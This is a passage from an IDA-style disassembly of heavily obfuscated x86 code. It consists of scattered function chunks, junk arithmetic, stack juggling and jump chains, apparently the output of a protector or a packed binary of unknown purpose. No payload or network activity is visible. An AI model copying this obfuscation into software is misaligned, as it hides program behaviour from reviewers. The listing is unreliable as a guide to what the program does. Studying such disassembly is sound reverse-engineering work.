		add	[esp+4], ecx
		jmp	loc_59DA28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_59F5E3:				; CODE XREF: sub_59A7E7+909Bj
		add	ah, ch
		mov	cx, word ptr [esp-4+arg_0]
		jmp	loc_5A5029
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_59F5EE:				; CODE XREF: sub_5A0FFF-7C72j
		not	edx
		xchg	edx, [esp+8+var_8]
		pop	edx
		xchg	edx, [esp+4+var_4]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	67C2h
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59E81A
; END OF FUNCTION CHUNK	FOR sub_5A0FFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600D


loc_59F61B:				; CODE XREF: sub_5A600D+3j
		add	al, bl
		jmp	loc_5A12A8
; END OF FUNCTION CHUNK	FOR sub_5A600D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_59F622:				; CODE XREF: sub_5A522E-5D9Aj
		inc	edi
		dec	edi
		add	edi, 33BE6841h
		jmp	loc_5A3A9C
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F62F:				; CODE XREF: sub_5A522E-94EBj
					; sub_5AA2D1-D855j
		jmp	loc_5A88C1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59F634:				; CODE XREF: sub_59C979+7B38j
		add	ecx, 4
		jmp	loc_5AF061
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_59F63C:				; CODE XREF: sub_59A9E9+3D3Dj
		push	55E0h
		mov	[esp+14h+var_14], ebx
		mov	bl, dl
		jmp	loc_5A9481
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59F64B:				; CODE XREF: sub_5A477C+8CF5j
		sub	edx, esi
		push	eax
		mov	eax, 614A260Ch
		sub	edx, 3753BBAh
		sub	edx, eax
		add	edx, 3753BBAh
		pop	eax
		mov	esi, [esp-4+arg_0]
		push	edx
		mov	edx, esp
		jmp	loc_59EB9E
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F66D:				; CODE XREF: sub_5AA2D1-C6A9j
		mov	esp, [esp+8+var_8]
		jmp	loc_59BD61
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59F675:				; CODE XREF: sub_5A6BBC-7ADEj
		dec	dl
		push	ebx
		mov	bh, 5
		jmp	loc_5A28CE
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59F67F:				; CODE XREF: sub_5A477C-6DA7j
		jnp	loc_5A77AC
		push	edi
		jmp	loc_5A7D81
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_59F68B:				; CODE XREF: sub_5AD84A+D46j
		xchg	eax, ecx
		push	3789h
		jmp	loc_5AD85E
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB5A9


loc_59F696:				; CODE XREF: sub_5AB5A9-F797j
		push	[esp+8+var_8]
		pop	edx
		push	7038h
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_5A1109
; END OF FUNCTION CHUNK	FOR sub_5AB5A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F6B5:				; CODE XREF: sub_5AA2D1+98Cj
		dec	edx
		xor	edx, 0A0F276FFh
		sub	ecx, edx
		pop	edx
		add	ecx, 3FA804D2h
		jmp	loc_5A80D6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_59F6CA:				; CODE XREF: sub_5A477C+360Dj
		add	eax, 68E918B1h
		mov	esi, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	ebx
		jmp	loc_5AD458
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_59F6E0:				; CODE XREF: sub_5AF294-5CE4j
		shr	ecx, 5
		jnp	loc_59C809
		jmp	loc_59B285
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F6EE:				; CODE XREF: sub_5AA2D1-577Ej
		push	esp
		pop	ebx
		jmp	loc_5A9462
; ---------------------------------------------------------------------------


loc_59F6F5:				; CODE XREF: sub_5AA2D1+4105j
		add	esp, 4
		push	small 17Eh
		mov	word ptr [esp+2+var_4+2], cx
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		push	cx
		mov	cl, 69h
		jmp	sub_5A0327
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_59F715:				; CODE XREF: sub_5996E4+B644j
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		add	esi, ecx
		jmp	loc_5A28F1
; END OF FUNCTION CHUNK	FOR sub_5996E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F725:				; CODE XREF: sub_5AA2D1+1EB7j
		pop	esi
		sub	esi, 394C468Ch
		pop	ebp
		and	eax, esi
		push	dword ptr [esp+0]
		mov	esi, [esp+4+var_4]
		jmp	loc_5AE04A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_59F73A:				; CODE XREF: sub_5AD213-8D2Bj
		mov	ebx, 4
		push	edx
		mov	edx, 6F613699h
		sub	edx, 0EB1D77Ch
		shr	edx, 8
		shl	edx, 2
		sub	esp, 4
		mov	[esp+14h+var_14], ecx
		mov	ecx, 644953DFh
		inc	ecx
		sub	ecx, 6ED0500Ch
		add	ecx, 0FFFFFFFFh
		sub	ecx, 590742E3h
		xor	ecx, 0B1377EAh
		add	ecx, 0C8227A1Ch
		xor	edx, ecx
		pop	ecx
		add	edx, 0D24AC20Ch
		add	esi, edx
		jmp	loc_5A5817
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59F78B:				; CODE XREF: sub_5A5EFF-7818j
		inc	edx
		shl	edx, 6
		jnz	loc_59E56D
		jmp	loc_5A8D9A
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
; START	OF FUNCTION CHUNK FOR sub_5A96D8


loc_59F7A0:				; CODE XREF: sub_5A96D8+28j
		add	esp, 4
		add	ebp, 4
		push	esi
		jmp	loc_5995EB
; END OF FUNCTION CHUNK	FOR sub_5A96D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59F7B2:				; CODE XREF: sub_5AA810+5B9Ej
		add	ebx, 24EB4526h
		mov	esi, [esp+0]
		push	edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_59B8A6
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F7D2:				; CODE XREF: sub_5AA2D1-6A80j
		mov	[esp+4+var_4], edx
		push	3A5Ch
		mov	[esp+8+var_8], ebx
		sub	esp, 4
		jmp	loc_5A5C94
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59F7E8:				; CODE XREF: sub_59C979+1304Bj
		add	ebx, ecx
		pop	ecx
		sub	eax, 1054596Eh
		jmp	loc_5ABEA4
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F7F5:				; CODE XREF: sub_5AA2D1+1EE3j
		push	eax
		jmp	loc_5AA9F9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_59F7FB:				; CODE XREF: sub_5AA810-F67Fj
		jmp	loc_59F179
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_59F800:				; CODE XREF: sub_5ADD33-33DAj
		xchg	eax, [esp+10h+var_10]
		pop	esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp+0Ch+var_C]
		jmp	loc_5A3863
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03E8


loc_59F816:				; CODE XREF: sub_5B03E8+9j
		pop	esp
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		shr	eax, 18h
		xor	eax, ecx
		push	edi
		mov	edi, esp
		push	61F9h
		jmp	loc_5A8EF8
; END OF FUNCTION CHUNK	FOR sub_5B03E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_59F834:				; CODE XREF: sub_5A9B1D-E4F6j
		not	ecx
		inc	ecx
		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_5A1264
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_59F842:				; CODE XREF: sub_5A0AA2:loc_59A6DEj
					; sub_5A79BE+19C4j
		not	edx
		sub	esp, 4
		jmp	loc_59A017
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F84F:				; CODE XREF: sub_5AA2D1-7BABj
		push	ecx
		mov	cl, 2Bh
		sub	esp, 2
		mov	word ptr [esp+18h+var_1A+2], dx
		push	40A1h
		mov	[esp+0], ebx
		jmp	loc_5A2602
; ---------------------------------------------------------------------------


loc_59F866:				; CODE XREF: sub_5AA2D1-BF0Ej
		add	ecx, 4
		xchg	ecx, [esp-18h+arg_14]
		pop	esp
		sub	edx, esi
		pop	esi
		mov	ebx, edx
		jmp	loc_59DEE8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_59F87A:				; CODE XREF: sub_5A5EFF+994j
		mov	[esp-4+arg_0], eax
		push	edi
		mov	edi, 5A586C59h
		add	edi, 28FE6E0Bh
		jb	loc_59E61C
		jmp	loc_59FD2D
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F894:				; CODE XREF: sub_5AA2D1-8FF0j
		mov	edi, ecx
		pop	ecx
		add	edi, 2ABFF997h
		xor	eax, edi
		pop	edi
		push	eax
		mov	esi, [esp-24h+arg_20]
		add	esp, 4
		push	[esp-28h+arg_24]
		mov	eax, [esp-24h+arg_20]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-20h+arg_1C]
		pop	esp
		mov	[esp-24h+arg_20], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59FA36
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D18A


loc_59F8D3:				; CODE XREF: sub_59D18A+11DCEj
		mov	[esp+0Ch+var_C], ebp
		push	esi
		push	edi
		push	5B9E7F0Eh
		pop	edi
		xor	edi, 166A4749h
		mov	esi, edi
		mov	edi, [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		jmp	loc_5A8C82
; END OF FUNCTION CHUNK	FOR sub_59D18A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_59F8F4:				; CODE XREF: sub_5B01F7-120F7j
		mov	ecx, 57F55C7Ch
		add	ecx, 1
		push	ecx
		inc	[esp+18h+var_18]
		pop	ecx
		sub	ecx, 2BBB3677h
		jmp	loc_5A4140
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_59F90F:				; CODE XREF: sub_59F1C3+1E1Aj
		sub	edi, 0FFFFFFFFh
		and	edi, 65F847ADh
		push	edx
		mov	edx, 601514F2h
		xor	edi, edx
		pop	edx
		xor	edi, 45BD17D3h
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5A0F3B
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F93C:				; CODE XREF: sub_5AA2D1-5FEEj
		push	eax
		push	ebx
		jmp	loc_5A9A0A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5956


loc_59F943:				; CODE XREF: sub_5A5956-17CEj
		mov	esp, [esp+0]
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5AC337
; END OF FUNCTION CHUNK	FOR sub_5A5956
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF8FF


loc_59F951:				; CODE XREF: sub_5AF8FF-5125j
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edi
		mov	edi, 4
		add	[esp+8+var_4], edi
		pop	edi
		jmp	loc_5A7B70
; END OF FUNCTION CHUNK	FOR sub_5AF8FF

; =============== S U B	R O U T	I N E =======================================



sub_59F967	proc near		; CODE XREF: sub_5A62C4+15j
		push	ebx
		pop	eax
		pop	ebx
		jmp	loc_5AEA81
sub_59F967	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F96F:				; CODE XREF: sub_5AA2D1+5A1Ej
		mov	[esp-1Ch+arg_18], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59EF08
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_59F983:				; CODE XREF: sub_59A26C+9670j
		mov	edi, 676C4DE7h
		sub	edi, 24D2BAD0h
		jmp	loc_59958C
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59F993:				; CODE XREF: sub_5992DA+88D7j
		sub	edx, 77F83B37h
		add	edx, 27D61C8Fh
		add	edx, eax
		sub	edx, 27D61C8Fh
		sub	esp, 4
		mov	[esp-8+arg_4], esi
		jmp	loc_599BF6
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_59F9B5:				; CODE XREF: sub_59F02F-1D3Ej
		sub	eax, ecx
		pop	ecx
		jmp	loc_5A0E46
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_59F9BD:				; CODE XREF: sub_5A4E04-EE3j
					; sub_59A479+1103Ej
		jns	loc_5A4817
		jmp	loc_5ABA1E
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
		pop	esi
		add	esi, 4
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_59F9CF:				; CODE XREF: sub_59CBE1:loc_5A05C5j
		add	eax, 0D8D7B7A8h
		mov	edx, eax
		pop	eax
		or	edx, 540C0139h
		jmp	loc_5ADEFA
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A75B3


loc_59F9E2:				; CODE XREF: sub_5A75B3+1j
		mov	ebp, 315A5EF1h
		jmp	loc_5A3A26
; END OF FUNCTION CHUNK	FOR sub_5A75B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59F9EC:				; CODE XREF: sub_5AA2D1-3BBEj
		mov	esi, 221256A6h
		neg	esi
		jmp	loc_5A9296
; ---------------------------------------------------------------------------


loc_59F9F8:				; CODE XREF: sub_5AA2D1-6E9Ej
		sub	edi, 73F6144Ch
		mov	esi, [esp-1Ch+arg_18]
		add	esp, 4
		push	edi
		push	[esp-1Ch+arg_1C]
		jmp	loc_5AE602
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59FA0E:				; CODE XREF: sdfs____:005A35F1j
		pop	ebx
		add	esp, 4
		push	ebx
		push	esi
		mov	esi, 2
		mov	ebx, esi
		pop	esi
		add	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		jmp	loc_5AD56B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FA36:				; CODE XREF: sub_5AA2D1-AA03j
		sub	ebx, 4
		xchg	ebx, [esp-24h+arg_20]
		pop	esp
		mov	[esp-28h+arg_24], esp
		add	[esp-28h+arg_24], 4
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp-28h+arg_24]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp-2Ch+arg_28]
		pop	esp
		and	eax, esi
		pop	esi
		shr	eax, 0Ah
		xor	eax, ecx
		push	7242h
		mov	[esp-30h+arg_2C], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 430A5BB3h
		add	ebx, 1E164CFDh
		shl	ebx, 6
		or	ebx, 56421B84h
		shr	ebx, 5
		xor	ebx, 37CF291Fh
		push	esi
		push	ebp
		mov	ebp, 1D121BA8h
		mov	esi, 182A5D3Fh
		add	esi, ebp
		pop	ebp
		xor	ebx, esi
		pop	esi
		jmp	loc_5A5748
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59FAA7:				; CODE XREF: sub_5A2E28-3DD5j
		add	esi, 32743F76h
		pop	edx
		push	ebx
		jmp	loc_5AC833
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_59FAB4:				; CODE XREF: sub_59A7E7+A84Ej
		mov	ax, word ptr [esp-4+arg_0]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A81CC
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_59FAC6:				; CODE XREF: sub_5A6BBC-BD45j
		mov	edi, ecx
		pop	ecx
		push	edi
		pop	eax
		pop	edi
		push	eax
		not	[esp+0Ch+var_C]
		jmp	loc_5AA24E
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FAD5:				; CODE XREF: sub_5AA2D1-97ADj
		push	[esp-2Ch+arg_28]
		pop	ebp
		add	esp, 4
		or	ebp, 4649045Fh
		ja	loc_5A6BE6
		shl	ebp, 8
		jnp	loc_5A0C04
		push	edx
		jmp	loc_5AF618
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59FAF7:				; CODE XREF: sdfs____:0059D277j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		jmp	loc_5AB932

; =============== S U B	R O U T	I N E =======================================



sub_59FB1A	proc near		; CODE XREF: sub_5A7BEB-4AA2j

var_6		= dword	ptr -6

; FUNCTION CHUNK AT 005997BD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D3DB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E9D3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0AF3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A148A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A4597 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A792E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8C7C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A957C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB825 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AF300 SIZE 0000001C BYTES

		push	bx
		jmp	loc_5A148A
sub_59FB1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_59FB21:				; CODE XREF: sub_5AD84A-123C5j
		push	1DFF7018h
		pop	edx
		not	edx
		sub	edx, 0ACC53A41h
		mov	eax, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		dec	eax
		push	edi
		mov	edi, 5BCB0BD2h
		jmp	sub_599117
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FC02


loc_59FB43:				; CODE XREF: sub_5992DA+999Fj
					; sub_59FC02+F8B4j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		jmp	sub_59F1F3
; END OF FUNCTION CHUNK	FOR sub_59FC02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB207


loc_59FB50:				; CODE XREF: sub_5A580F-35CBj
					; sub_5AB207-4436j
		push	ecx
		mov	ecx, 37CA0905h
		add	[esp+arg_0], ecx
		jmp	loc_5A2803
; ---------------------------------------------------------------------------


loc_59FB5F:				; CODE XREF: sub_5AB207+51FAj
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		jmp	loc_599872
; END OF FUNCTION CHUNK	FOR sub_5AB207
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_59FB73:				; CODE XREF: sub_59F1C3+797Dj
		mov	ebx, eax
		pop	eax
		and	eax, ebx
		mov	ebx, [esp+0]
		push	edx
		jmp	loc_5A272B
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FB81:				; CODE XREF: sub_5AA2D1+4615j
		add	ecx, edx
		mov	edx, [esp-2Ch+arg_28]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A0BB9
; ---------------------------------------------------------------------------


loc_59FB8E:				; CODE XREF: sub_5AA2D1+19DFj
		push	6E38h
		mov	[esp-24h+arg_20], esi
		push	[esp-24h+arg_24]
		pop	esi
		pop	[esp-24h+arg_20]
		mov	esp, [esp-28h+arg_24]
		jmp	loc_59AA79
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_59FBA6:				; CODE XREF: sub_5AE29C-8C09j
		push	dword ptr [esp+0]
		jmp	loc_5AD3F0
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FBAE:				; CODE XREF: sub_5AA2D1-10262j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-8+arg_4]
		jmp	loc_5AE397
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_59FBC2:				; CODE XREF: sdfs____:0059B152j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_59FBD4:				; CODE XREF: sub_5AA2D1-B6CFj
					; sub_5A16B8+46B0j
		add	[esp-0Ch+arg_8], 4
		pop	ecx
		jmp	loc_59A2F3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_59FBE1:				; CODE XREF: sub_5992DA+4398j
		shl	edx, 5
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_5A7085
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4886


loc_59FBEF:				; CODE XREF: sub_5A4886+1j
		mov	ebp, 75303C32h
		sub	ebp, 2783EA91h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5A6AC4
; END OF FUNCTION CHUNK	FOR sub_5A4886

; =============== S U B	R O U T	I N E =======================================



sub_59FC02	proc near		; CODE XREF: sub_5AA2D1-70F6j
					; sub_5A9B1D+3623j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059AF25 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C398 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C70F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059F4F5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FB43 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3068 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A37DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A38C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4E47 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A50BF SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A702E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A7BB3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A8379 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A88AB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A8C3A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AA1D2 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AB198 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AC5AC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ADAB8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AF49F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AF5EA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AF9E1 SIZE 0000000D BYTES

		push	ebx
		push	ecx
		push	0F6F7CBAh
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	ecx
		push	1D471FFDh
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		inc	ecx
		shr	ecx, 6
		and	ecx, 50D50198h
		jnp	loc_5A38C0
		sub	ecx, 0F538BB1Fh
		push	ecx
		jmp	loc_5A50BF
sub_59FC02	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0278


loc_59FC40:				; CODE XREF: sub_5A0278+48CFj
		add	eax, 75F90741h
		add	eax, edi
		sub	eax, 75F90741h
		push	5177h
		mov	[esp+4+var_4], ebx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	62A1h
		jmp	loc_59E5BB
; END OF FUNCTION CHUNK	FOR sub_5A0278
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_59FC67:				; CODE XREF: sub_59A7E7+126E7j
		neg	dl
		add	dl, 0FFh
		add	dl, 0E1h
		or	cl, dl
		pop	edx
		jmp	loc_5AE4DE
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_59FC77:				; CODE XREF: sub_5A2E28+1BBj
		xor	ecx, eax
		not	eax
		jmp	loc_5A28DD
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_59FC80:				; CODE XREF: sub_59C979+56B4j
		pop	ebp
		xor	edx, 12F011D8h
		sub	edx, 16DB3F50h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp-6+arg_2]
		jmp	loc_5AB079
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


